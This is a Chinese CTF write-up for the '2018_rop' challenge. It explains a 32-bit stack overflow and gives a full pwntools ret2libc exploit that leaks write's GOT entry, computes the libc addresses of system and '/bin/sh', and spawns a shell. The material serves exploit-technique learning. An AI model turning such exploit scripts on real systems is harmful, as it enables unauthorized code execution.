当前位置:网站首页>【CTF】 2018_rop
【CTF】 2018_rop
2022-06-23 09:17:00 【delta_hell】
题目分析
1 反编译,寻找可以利用的漏洞
void main(void)
{
be_nice_to_people();
vulnerable_function();
write(1,"Hello, World\n",0xd);
return;
}
从main函数来看,函数vulnerable_function是个最明显的提示,大概率就是突破点,但是be_nice_to_people也可以捎带看一眼。
void be_nice_to_people(void)
{
__gid_t __rgid;
__rgid = getegid();
setresgid(__rgid,__rgid,__rgid);
return;
}
好吧,确实没看到可以利用的点,查了下资料,也没找到这个函数存在的必要性,待定吧。
void vulnerable_function(void)
{
undefined local_8c [136];
read(0,local_8c,0x100);
return;
}
ok,这个就是典型的溢出,read的长度限制比数组长度大。
2 分析利用链
1 查找整个反编译工程,没有看到system或者execve等函数,也没看到/bin/sh字符串,也没找到其他可利用函数,那基本可以确定是ret2libc的套路
2 需要拿到libc中函数的地址,那可以利用的点,就是通过write函数来打印输出
3 然后,通过地址推算出system和/bin/sh的地址
4 需要再次执行,那就需要溢出后能再次跳转到vulnerable_function
5 通过vulnerable_function再次执行溢出跳转到system
ok, 1 2 3 5都是常规操作,4 需要研究下怎么跳转,还好,上篇学到的函数返回地址(call和函数直接调用的区别)可以派上用场,试验一下,果然可行。
利用脚本
1 from pwn import *
2 from LibcSearcher import *
3 elf = ELF('2018_rop')
4 libc = ELF('libc-2.27.so') # 根据环境不同进行替换
5
6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
7
8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
9 #shellcode=asm(shellcraft.amd64.linux.sh())
10 #print(len(shellcode))
11 #print(shellcode)
12
13 sh = process('./2018_rop')
14 pad = 'A' * 140
15 write_got_addr = 0x0804a010
16 vulner_addr = 0x080484d4 # 返回地址
17 payload = pad.encode()
# write函数plt地址 + write函数返回地址 + write参数1 + write函数got地址 + write参数3
# 实现效果,打印write函数内存地址,同时返回到vulnerable_function再次执行
18 payload += p32(0x080483a0) + p32(vulner_addr) + p32(0x01) + p32(write_got_addr) + p32(0x20)
19
20 sh.sendline(payload)
21 content = sh.recv()[:4]
22 mem_addr = int.from_bytes(content, 'little')
23 print("%#x -> %s" % (write_got_addr, hex(mem_addr)))
24
25 # 优先尝试lib-database查找
26 obj = LibcSearcher("write", mem_addr)
27 obj.dump('system')
28
29 libc_write_offset = libc.sym['write']
30 print(hex(libc_write_offset))
31
32 libc_system_offset = libc.sym['system']
33 print(hex(libc_system_offset))
34
35 libc_database = mem_addr - libc_write_offset
36
37 mem_system_addr = libc_database + libc_system_offset
38 print(hex(mem_system_addr))
39
40 mem_binsh = libc_database + next(libc.search(b'/bin/sh'))
41 print(hex(mem_binsh))
42
43 # system函数内存地址 + system函数返回地址(这里不重要) + /bin/sh的内存地址
44 payload1 = pad.encode() + p32(mem_system_addr) + p32(0x12345678) + p32(mem_binsh)
45 sh.sendline(payload1)
46
47 with open('payload.txt', 'wb') as f:
48 f.write(payload)
49 f.write(payload1)
50
51
52 sh.interactive()
总结
总感觉对于栈的理解不够深刻,需要系统性的学习一下,不过没找到好的资料,只能边刷题边学习了。
边栏推荐
- Chain implementation of stack -- linear structure
- Aiming at the overseas pet market, "grasshand" has developed an intelligent tracking product independent of mobile phones | early project
- MySQL故障案例 | ERROR 1071 (42000): Specified key was too long
- Redis learning notes - data type: Set
- 一元函数求极限三大方法---洛必达法则,泰勒公式
- 嵌入式系统概述(学习笔记)
- [geek Challenge 2019] hardsql
- The difference between ARM processor and 51 single chip microcomputer programming
- [event registration] sofastack × CSDN jointly held the open source series meetup, which was launched on June 24
- Set the CPU to have 16 address lines and 8 data lines, and use mreq as the access control line number Connection between memory and CPU
猜你喜欢

UEFI 源码学习4.1 - PciHostBridgeDxe

JS mask important data of ID card and mobile phone number with * *

简易学生管理

Implementation of s5p4418 bare metal programming (replace 2ndboot)

一个采用直接映射方式的32KB缓存......存储器课后习题

Click Add drop-down box

"Coach, I want to play basketball" -- AI Learning Series booklet for students who are making systems

Community article | mosn building subset optimization ideas sharing

js 用**遮罩身份证以及手机号的重要数据
Redis学习笔记—慢查询分析
随机推荐
ThinkPHP 2.x/3.0 漏洞复现
Mqtt+flink to subscribe and publish real-time messages
使用base64,展示图片
Redis learning notes - detailed explanation of redis benchmark
[GXYCTF2019]BabySQli
RGB与CMYK颜色模式
How to use matrix analysis to build your thinking scaffold in flowus, notation and other note taking software
One of the 12 balls is different from the others. Provide a balance and find it three times
Redis学习笔记—数据库管理
[极客大挑战 2019]HardSQL
Leetcode topic analysis contains duplicate III
Cookie和Session入门
Redis learning notes - AOF of persistence mechanism
2022.6.22-----leetcode. five hundred and thirteen
UEFI 学习3.6 - ARM QEMU上的ACPI表
简易学生管理
Learn SCI thesis drawing skills (E)
Precautions for map interface
[CISCN2019 华北赛区 Day2 Web1]Hack World
Flink error --caused by: org apache. calcite. sql. parser. SqlParseException: Encountered “time“